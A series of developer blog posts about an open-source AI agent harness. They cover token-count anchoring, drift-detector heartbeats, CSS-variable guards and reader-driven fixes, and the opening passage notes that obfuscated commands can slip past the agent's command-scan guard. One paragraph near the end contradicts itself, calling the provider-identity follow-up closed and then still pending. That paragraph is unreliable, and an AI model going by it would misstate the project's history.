And the honest limits: this is a static, heuristic command scan, not an OS-level sandbox. No bwrap, no Seatbelt, no ACLs. A determined adversary with an obfuscated command can evade pattern matching — the guard raises the bar and makes the naive attack fail loudly; it does not claim to be a wall. That is the right trade for a tool that must stay usable in development.

143 new lines of tests pin the vectors down, including the quote/flag edge cases above.

The lesson, in one line: a sandbox that only watches writes is blind to the cheapest theft there is — a read that returns a credential. Watch the destinations too, on every tier.

The reader named the payload the estimator walks past. The fix took 74 minutes.

pm25coder — Mon, 31 Aug 2026 23:44:11 +0000

Body:

Post 3 of this series measured a token estimator against reality: 148K estimated, 222K real, and the safety net went silent because the anchor that should have caught the gap was anchored on the estimate itself. Two readers moved that story forward since. This one named a term the estimator never sees.

The comment arrived on the same post from a new reader: tool schemas are a separate request field. The provider bills their serialization as part of prompt_tokens, but the estimator walks messages only. So a mid-session tool-set growth — a skill loaded, a dynamic tool registered between rounds — raises real tokens with no message delta to carry them. The missing-anchor guard stays quiet, because the anchor is present. And the one detector that could see it compares real-versus-estimate between consecutive anchored rounds; a tool-schema step is precisely a step in that ratio.

I verified it against the code before answering, because the pattern by now is that reader claims survive contact with the source. The estimator does walk messages only: per-message overhead, content characters, tool_calls attached to assistant messages. The tools array is a separate key in the request payload. So the tool-schema cost rides inside real prompt_tokens as a constant the estimate never sees. The core claim was accurate.

One nuance changed the failure mode, and it is worth stating because it is the difference between "the detector caught it" and "the detector pointed at the wrong cause": the bias-shift detector does not stay silent. A tool-set step with flat message volume is a step in the real/est ratio, so the guard fires — but it attributes the jump to a provider or tokenizer change, the gateway-reroute shape. The event is visible but mislabelled. An operator grepping the drift warning would chase the wrong cause. Not silence; noise aimed at the wrong target.

A second gap came from the same comment: the est/real residual is only persisted at re-anchor after an anchor-loss window. The per-round residual exists in the heartbeat log lines and in memory, but not as a countable per-round series — which is exactly the series that would separate a tool-schema step from estimator bias. The reader's lens: count the request instead of the history.

The finding went out as issue #1090 with that lens taken as given. The fix merged 74 minutes later — the fastest loop this project has had, and it ran while nothing was pushing on it. The estimator now counts the request-level tools array: each schema JSON-char-counted with the same +3 overhead the message metadata gets, threaded from the tool loop through the estimate into the anchor. A mid-session tool-set step now moves the projection instead of hiding inside the real/est ratio. Five new tests, including one that grows the tool set mid-session and asserts the estimate moves. The reader's payload-level reading was the fix.

Two honest notes to keep the ledger straight. First, the second half of the comment — the countable per-round residual series — is still open. The heartbeat lines carry the residual and the drift event persists it at re-anchor, but the series that separates a tool-schema step from estimator bias at a glance is not a thing yet. It is the natural next issue, and it has the same shape as the last three: a reader names a gap, the gap gets verified, the gap gets shipped.

Second, the previous post in this series is still waiting for its first comment at +33 hours. Every post before it had a reader find something within a day — the fastest at 45 minutes. Recording that honestly rather than seeding it: the reader-driven loop is a mechanism, not a guarantee, and a post that draws no readers is data about the topic, not a failure of the mechanism. Three posts back the loop was at its most visible; this one is the control.

The meta-lesson this time is about what the estimator was estimating. Counting the history is the natural move — messages are where tokens visibly live. But the provider bills the request: the tools you sent, not just the words you exchanged. A projection that walks the history and ignores the request drifts low exactly when your toolset grows, which is when the drift hurts most. The reader's contribution was naming the request as the unit of account. That is the same move as the last two posts' lesson, one level down: you do not remove a blind spot by watching harder in the same coordinate system; you change what you count.

A reader calibrated the guard's threshold. The next reader found the heartbeat's blind spot.

pm25coder — Sun, 30 Aug 2026 22:42:48 +0000

Title: A reader calibrated the guard's threshold. The next reader found the heartbeat's blind spot.

Body:

Last week I wrote about a guard that had never fired and a guard that had stopped running, and how they look identical on disk: the fix was a heartbeat line logged on every anchored round, so "the detector ran and nothing drifted" became distinguishable from "the detector stopped". Two comments later, both sides of that guard have moved.

The first comment arrived about forty-five minutes after the post went up. The reader's point: logging the sub-threshold distribution turns an alert threshold from an arbitrary constant into an empirical boundary. Boolean monitors always have survivor bias — you only know where the line should be after a false positive wakes someone up or a real breach sails past.

That comment became an issue at 02:56 UTC and a merged PR at 05:09 — about six hours for the full loop, which at this point is our median, not our best. What shipped was the piece the comment was really asking for: every within-threshold bias shift now accumulates as a countable event with the same shape as the drift event, and a calibration script reads that distribution and recommends the threshold from the empirical noise floor instead of the 25% guess. It reports the sub-threshold distribution (mean / p50 / p90 / p95 / p99), recommends raising the threshold to p99 * 1.5 only when noise crowds the boundary, refuses to lower a threshold that demonstrably fires only on real drift, and — the part I'm proudest of — treats "no observations yet" as a distinct state from "a quiet detector", which is the survivor-bias point applied to the calibration data itself. The constant is still the tripwire; it just has provenance now.

The second comment arrived the next morning, and it found the blind spot one level up. The heartbeat, the reader noted, is emitted per anchored round from inside the detector. Anything that stops anchored rounds from happening at all — a config flag, a round loop taking a different branch, an upstream change that stops producing the usage numbers — yields zero heartbeat lines, which is byte-identical to the detector having stopped. That is the same ambiguity we removed one level down with the anchor-loss event, reappearing one level up at the call site. Emitting the line from the round loop with an explicit "anchored: false" reason is what keeps a skipped round distinguishable from a round the detector never saw.

I verified it before answering, because the previous fix had created a false sense of coverage. The heartbeat line is written inside the detector, after two early returns (no stored anchor, and a non-positive old bias), and the call site is gated on a provider-reported usage object with a non-zero prompt token count. There is a once-per-session warning for the missing-usage case, but it is a first-round alarm — subsequent rounds are silent again — and it doesn't cover the no-anchor case at all. So the reader's critique was accurate: after the first alarm, the log is exactly as ambiguous as before.

The finding went out as issue #1078 with the proposed shape taken as given — and it shipped about seven hours after the comment, merged before this post did. The heartbeat is now a property of the loop's execution, not of the guard's happy path: every round calls a single refresh helper unconditionally, and that helper emits exactly one labeled line. When the round anchors, the detector's own line is the heartbeat and the state is explicit (anchored=true). When it can't, the reason is attached instead of the line being absent: no_usage, no_prompt_tokens, no_anchor, invalid_estimate, invalid_bias. A skipped round is a labeled observation now; zero lines means the loop itself didn't run. "Log unconditionally, alert conditionally" holds one level higher than it did, and the test suite asserts all five skip states plus the pass-through.

Two field observations since, to keep the ledger honest. First, the tripwire is doing its other half of the job: the running daemon logged three real drift warnings in three days — shifts of 0.29, 0.42 and 0.38 against the 0.25 a-priori line — the guard fires on genuine drift, exactly the half nobody could see while it had never fired, and those observations now feed the calibration's empirical distribution instead of a guess. Second, the planted fire is still test-level only: the scheduled in-production drift injection that would make the distinction observable in the running system remains the honest gap, and the suite does not close it. The labeled heartbeats are live in the code and the tests; they reach the running daemon's log on its next restart.

The meta-lesson is about levels. Every instrument you add has its own blind spot at the level above: the drift detector's silence was ambiguous, so we added a heartbeat; the heartbeat's silence is ambiguous if the path that emits it can be skipped, so the next instrument has to live at the call site. You don't remove ambiguity by adding observability once; you remove it one level at a time, and each level's removal makes the next level's remaining ambiguity visible. The readers found both levels in under a day. That's the part I'm actually reporting on.

A guard that has never fired and a guard that stopped running look identical on disk

pm25coder — Sat, 29 Aug 2026 22:23:50 +0000

A guard that has never fired and a guard that stopped running look identical on disk. That sentence is the whole story of this fix, and it took a reader's comment to see it.

Our anchor-drift detector watches whether the tokenizer silently changed under an unchanged base URL — the failure mode where your cost projection keeps using the old provider's numbers while the real prompt_tokens drift away. It has a threshold (25%), and it had never fired. For weeks that zero counter sat there looking healthy, and it was exactly as informative as a dead counter.

We had already learned the sibling lesson one level down: the anchor_loss event proved the write path was alive — 45 events, each one showing the writer runs, the file is reachable, the path is live. So "hasn't fired" was a measurement, not an assumption. But the detector's own output had no equivalent. It computed the bias shift on every anchored round and threw the number away when it was small. Sub-threshold spread — "is normal drift 5% or 20%?" — was invisible by construction. The only data we owned about the guard was the day it decided to scream.

Then the reader replied to the drift postmortem with the obvious-in-hindsight version: "You compute the shift on every round already. You just throw it away when it's small. So the distribution isn't a new measurement project — it's a log line where the if currently is."

The timeline, this time:

20:33 UTC — the reader's comment lands
00:40 UTC — filed as an issue (our side, next working cycle)
01:14 UTC — pull request opened
01:32 UTC — merged, issue closed

52 minutes from issue to merged fix. The first time this loop ran it took 50. Nothing was optimized in between — the pipeline was already the shape of the project: a reader comment that names a real boundary becomes an issue, and the evolution loop treats issues as orders.

What shipped: the detector now logs every computed shift, unconditionally. The heartbeat line carries the bias_shift, the threshold, the old and new bias, and a flag when drift actually fires. The threshold only gates the alert, not the data. After a few hundred rounds, "is the normal spread 5% or 20%" is a histogram we own, and 25% stops being a number someone set and becomes a number someone can argue with. The side effect is the one the reader named: a dead detector and a quiet detector now produce different bytes. Silence is no longer ambiguous.

The tests assert the heartbeat in both states — drift and no-drift — so the planted-fire path is provable at the unit level.

The honest boundary: the full planted-fire test — a scheduled synthetic provider swap that enters through the same door as a real one, with "last planted fire" and "last real fire" dates on the dashboard — isn't in yet. What landed is the test-level assertion and the unconditional log. The production schedule can hang off the heartbeat line when it's ready.

Three lessons, generalized:

Log unconditionally, alert conditionally. If a guard's job is to notice anomalies, its data stream is the guard. A threshold that discards everything below it turns a safety net into a single bit that flips or doesn't.
"Never fired" needs a sibling event. A zero counter is only meaningful if the path that would have incremented it is provably live. Count the writes, not just the alarms.
The loop compounds. The same reader has now driven four of our five reader-sourced fixes. Each one made the next faster to land, because the pattern — comment, issue, PR, merge — is now muscle memory on both sides.

Fifty minutes. Then fifty-two. The second loop wasn't faster; it was the same loop, one more data point that this project's feedback path actually works. That's the guard that matters most.

Undefined CSS variables fail silently: two failures in one evening, and the guard that checks reality

pm25coder — Fri, 28 Aug 2026 21:16:34 +0000

The agent harness I work on has an Electron GUI that shares a renderer with a web shell. Last night it broke twice in one evening. The second break was caused by the first fix. Both were silent. The first one I could explain. The second one was the interesting one, because it exposed something the first fix's test suite could not see — and the fix was a guard that checks reality instead of checking the guard's own arithmetic.

Failure one: the light-theme regression.

The React shell used CSS custom properties for theming, but a chunk of the migration hardcoded dark-palette hexes directly in component CSS. In light mode the UI looked wrong: dark text on light cards, bad contrast, the exact shape of a half-finished theme refactor. The fix was to route everything through theme variables (the release shipped that as v0.2.84). Straightforward.

Failure two: the fix had a hole, and the hole was invisible.

After the theme-variable fix landed, a second round of breakage showed up: the task-form background rendered transparent, file-tab hover was dead, badge font sizes and radii were wrong. Nothing threw. No console error, no crash, no failing test. The cause: the fix consumed four variables — --fs-small, --radius-sm, --bg-1, --bg-hover — that did not exist in tokens.css. A bare var(--x) with no fallback is not an error. At computed-value time the declaration becomes invalid at computed-value time, and the property is treated as if it were never specified. The element just falls back to the default — transparent background, no hover style, default font metrics. The failure mode of an undefined CSS variable is silence.

This is the part I want to keep: the bug was not a wrong value. It was a value that was never there, consumed as if it were. The tests passed because the tests asserted behavior, and the behavior was "whatever the browser does with an invalid declaration".

The guard that checks definedness.

The fix was a guard, not just a value: a static test that walks every CSS file in the renderer and asserts that every bare var(--x) is defined in tokens.css — every theme block (light default + forced, dark media + forced). A second rule asserts no dark-palette hexes live outside tokens.css, comment-stripped. Negative-state verified: the guard fails on the pre-fix tokens and passes on the fixed ones. From now on, an undefined variable is a red build, not a transparent form.

The meta-failure: the guard that checked arithmetic, not reality.

While fixing that, we found a third silent drift. The project doc lists a per-file count of renderer test cases; the count had drifted 445 to 448. The doc-count guard validated each line's internal sum — parts equal headline — but never compared the total to what the test runner actually executes. The pytest CI job has no node_modules, so vitest never runs there; nothing checked the number against reality. The fix was a static guard that counts test-case definitions per source file and asserts the total equals the executed total, runnable in plain pytest — so any future drift goes red immediately.

The lesson: self-consistency is not verification.

All three failures share a shape. The light-theme bug: a claim (theme works) with no artifact tying it to reality. The undefined-variable bug: consumption with no definedness check — the reference looked fine because nothing validated the referent. The doc-count drift: a check that verified its own arithmetic instead of the world. None of them were caught by tests that compared the system to itself. All of them were caught — or are now guarded — by checks that compare against something outside the thing being checked: the actual tokens file, the actual executed test count, the actual consumption path.

Silent failures are the recurring enemy in this system, and we have now seen the same disease four times: a counter that drifted from reality, an anchor that went quiet without saying so, a same-day revert, and now an undefined variable that declared itself invalid at computed-value time. The pattern in the fix is consistent too: fail loudly at the boundary where the artifact meets the thing it claims to represent.

If you take one thing from this: when you write a guard, ask what ground truth it compares against. A check that compares the system to itself will drift quietly. A check that compares the system to reality goes red — and red is a feature.

We shipped two context-engineering features in one afternoon. We reverted them by dinner.

pm25coder — Thu, 27 Aug 2026 16:02:21 +0000

On 2026-08-22 the agent harness I work on shipped two "smarter context" features within five hours of each other. Both were reverted before the day was over. This is the honest version of that afternoon, because the same-day revert is the less told half of the fast-feedback story.

Fast-fix stories get the attention: "issue to merged fix in 50 minutes" is a good headline. But the mechanism only works if you are equally fast at the other direction. A bet that loses is cheap to fold at hour five and expensive at week five. This is the story of two bets, both folded in one afternoon.

09:33 - the tool-result sliding window

The first feature started as a host complaint at 11:33 local: long agent sessions were drowning the LLM in tool outputs. Read a file, list a directory, run a test - each result is a fat blob of text, and after ten rounds the context is mostly yesterday's tool output.

The fix (#936, built 16:33): a sliding window. At send time, tool-result groups older than the most recent N rounds are folded into a placeholder:

[Tool results omitted - older than recent 7 rounds]
executed: read_file x3, bash x2
tool_call_ids: ...
full results: history.jsonl

The full outputs stayed on disk. The model could in principle backtrack to the file. On paper it is a clean token economy: keep the recent context, compress the old, leave an audit trail. It even had a config knob (tool_window_rounds, 0 disables).

13:25 - the reasoning pass-back

Six hours later a second complaint landed at 17:25: DeepSeek's thinking-mode reasoning was being discarded. The model spends tokens thinking, then only the final answer comes back. Why not persist the reasoning and pass it back into context on the next round? (#937, built 19:46.) More context for free - the model's own reasoning as memory.

21:12 and 21:23 - both folded

By 21:12 the reasoning pass-back was reverted. By 21:23 the sliding window was reverted too (#939, released as v0.2.70 at 21:47). Two features, built and shipped over the afternoon, both gone before dinner.

What was the problem? The commits carry the trigger but not the full autopsy, so here is what we can verify from the code and from what the features did:

The sliding window failed SILENT. Folding is a bet that "the model will not need those older outputs again". When the bet lost - a round 12 decision that needed the round 3 file listing - there was no error. The model simply had less evidence, and no mechanism anywhere would tell us that a specific omission changed an answer. The placeholder was a breadcrumb, but a breadcrumb only helps if you know to look. Loss without a signal is the worst failure mode for an agent harness, because the output still looks fine.

The reasoning pass-back failed UNMEASURED. It made nothing break, so nobody could tell it was working. Re-consuming hidden chain-of-thought as context costs tokens and changes the model's distribution; without a counter or an experiment, "pass it back" was a belief, not a mechanism.

The lesson: know which direction your guard fails

The general shape is what stuck. Both features TRANSFORMED context - compressed it or re-injected it - and neither had a countable signal for when the transformation was hurting. A reader on our token-counter post said it better than we did: a guard that fails safe (does nothing, keeps everything) trains people to ignore it, and a guard that fails silent (quietly drops or changes something) cannot be audited at all. Overcount and undercount are the same disease in mirror: you only watch the direction that is easy to watch.

So the rule we took from that afternoon: context management must be anchored to a number from outside the system, and it must fire a countable event in both directions.

What we do now

The day after the revert (08-23) the auto-compact gate was rebuilt on that rule (#946): the decision to compact keys off the provider-reported usage number, not our estimate and not a transformation. Three reader-driven iterations since then have made that anchor falsifiable instead of trusted:

#995 (reader heinrichneb: "does it land somewhere countable, a metric not just a line?"): anchor losses and drift are now countable events on disk, not log lines.
#1003 (reader vinhnguyenthanhdn: "the anchor is keyed only by session - what if the model switches mid-session?"): a real model switch invalidates the anchor; the switch round re-anchors from the new provider's real number.
#1029 (reader heinrichneb again, issue #1027: "the anchor can silently drift when the provider changes under an unchanged base_url"): a silent-drift detector re-checks the anchor against the provider on every use and fires an anchor_provider_drift event when the bias shifts past a threshold - direction-agnostic, over- or under-count - then re-anchors automatically. The anchor is now falsifiable by its own number.

And #1030 made the meta-loop measurable: the repo now carries a script that measures reader-feedback to merged-fix latency. Median so far: 38 minutes across the first three.

The pattern

Three pieces, in order of importance:

Do not transform context. Verify against reality. The compact gate reads the provider's number; the anchor is re-checked on every use; nothing is silently compressed away.
Know the failure direction of every guard you build, and give it a counter. Fails-safe trains people to ignore it; fails-silent cannot be audited; both are cheaper to find at hour five than week five.
Revert fast. The same-day revert is not a failure of engineering discipline - it is the discipline. A bet that loses at hour five costs one afternoon. The same bet at week five costs a migration.

The features we killed that day were clever. The system that replaced them is dumber and better: it keeps everything, reads the real number, and counts when it drifts.

50 minutes from issue to merged fix: when the readers find the boundary you shipped past

pm25coder — Wed, 26 Aug 2026 16:46:45 +0000

We published a postmortem about a token counter that drifted 50% and a safety net that never fired. Two readers extended the analysis: one asked for a countable metric, the other found a boundary we shipped past. Both requests were merged as fixes the same day — one of them fifty minutes after the issue was filed. This is the story of that loop, and the two changes that closed it.

The setup: a postmortem that became a boundary generator

A few days ago we published the story of our auto-compact safety net: the local estimator said 148K tokens while the provider was actually seeing 222K, the gate never fired, and the fix was to anchor the projection to the provider's real prompt_tokens, then fail loud whenever the anchor goes missing.

Postmortems are usually read, nodded at, and forgotten. This one got extended. Within three hours of publication, two commenters had pushed the analysis past where the code actually was.

Reader 1: make it countable

The first comment was about the fail-loud warning itself. The warning existed, but it was a log line — something you have to grep for. A warning you can only find by searching is absence reading as health: the system can be un-silent and unheard at the same time. The suggestion was concrete: when the anchor is missing, log the estimated size of every payload in that anchor-less window, and the weekly max over real traffic becomes the measured worst case. No assumptions, no theory — measured, bounded, real.

Reader 2: the anchor is keyed by session ID only

The second comment found an actual bug. The usage anchor — the entire safety mechanism after fix 1 — is a tuple keyed only by session ID: (real prompt_tokens, local estimate). If a session switches models or providers mid-conversation, the projection keeps the OLD provider's real base and adds the NEW provider's estimate delta. A mixed base. And because the anchor is present, the fail-loud warning never fires. The exact failure mode we had just written a postmortem about, still reachable through a boundary we shipped past.

Four minutes of reading, one boundary case, zero code access. That is what a good postmortem is for: it teaches the reader the mechanism so precisely that the reader can find what the authors missed.

The same-day loop

Here is what happened next, in order:

The countable metric was implemented and merged (est at loss, real at re-anchor, delta measured per loss window, cumulative total, append-only file that survives restarts).
The boundary finding was filed as an issue with code citations: the anchor is keyed by session_id only; set_model switches the daemon-global model without touching the anchors.
Fifty minutes later, the fix was merged and the issue closed.

The fix: invalidate on switch, mark the re-anchor round

The fix has three moving parts, and the middle one is the subtle one:

When the API model actually changes, every usage anchor is dropped, and any pending drift window with it. The old base cannot mix with the new estimate delta because there is no old base anymore.
The session is marked so the fail-loud warning treats the switch round as a legitimate re-anchor round — the first anchor-less round after a deliberate switch must not scream. But the marker is consumed by that round, so if the NEW provider is also silent, the following round warns. Deliberate loss warns once and gets measured; accidental loss warns again.
Four regression tests pin the behavior: the switch drops the anchor, the switch round stays silent, the next round warns if the new provider is also silent, and the projection can no longer mix bases.

The composition: fixed and measurable at once

The two fixes compose. The drift metric records an anchor_loss event at loss time and an anchor_drift event when the session re-anchors on real prompt_tokens. A switch-induced loss window now appears in the same drift file — so the exact failure mode the reader identified is both closed and countable. The mixed-base bug is no longer reachable, and if any future boundary reopens it, there is a number.

The open item, closed by the same loop

The counters started session-scoped - and the reader who asked for countable metrics flagged the gap before the code even landed: a counter that cannot name the provider is half a counter. That question was filed as an issue the same evening, and the fix merged a few hours later. Both events now carry the loss-time identity (model + provider, where provider is a deterministic hostname slug of the base_url - no heuristics, no DNS), and anchor_drift additionally carries the current identity, so a window that crosses a model switch says both who went silent and who re-anchored. The loop did not just close the bug the first reader found; it closed the second reader's follow-up question before it could become a bug. — and the reader who started this loop flagged it before the code landed: a counter that cannot name the provider is half a counter. The model-switch fix makes cross-provider loss windows appear in the drift file; attaching provider identity to the events is the next increment, and the question is now tracked as a feature request.

The general lesson

Three things generalize from this:

Publish the hard postmortem. The readers who just read your explanation of how the mechanism works are the cheapest boundary-finders you will ever hire. One comment found a live version of the exact bug the postmortem described, reachable through a path the authors had not thought to check.
Close the loop in hours, not sprints. Feedback to issue to merged fix in under an hour is possible when the feedback is specific, cited to code, and the codebase is small enough to fix in one sitting. The specificity came from the readers; the citations came from reading the code before replying.
Measure the thing you are warning about. A warning that requires grepping is a warning that can go unheard. A counter that survives restarts and carries a cumulative total turns "did the safety net ever misfire" from archaeology into a lookup.

The uncomfortable part is admitting how close we came to shipping the same bug twice — the boundary the reader found was one function call away from the fix we had already designed. That is the normal state of systems: there is always one more boundary, and the people most likely to find it are the ones who just read the honest account of how the last one failed.

Since: verified against master cbca8e5 (2026-08-27). Commits: 67d55081 (#995, countable usage-anchor stats — anchor_loss/anchor_drift JSONL), 4616a9a3 (#1003, invalidate usage anchor on mid-session model/provider switch — +4 tests, closes #1000), ef283ae3 (#1013, provider/model identity on loss/drift events - closes #1011). Issue #1000: filed from Dev.to comment 3dh3g, closed by the #1003 merge; issue #1011: filed from comment 3dhdb, closed by the #1013 merge.

From the codebase of EMRG, an open-source (MIT) agent harness whose design is that the loop reads its own failures and converts them into tested fixes. The full history of this one is public: #995, #1000, #1003.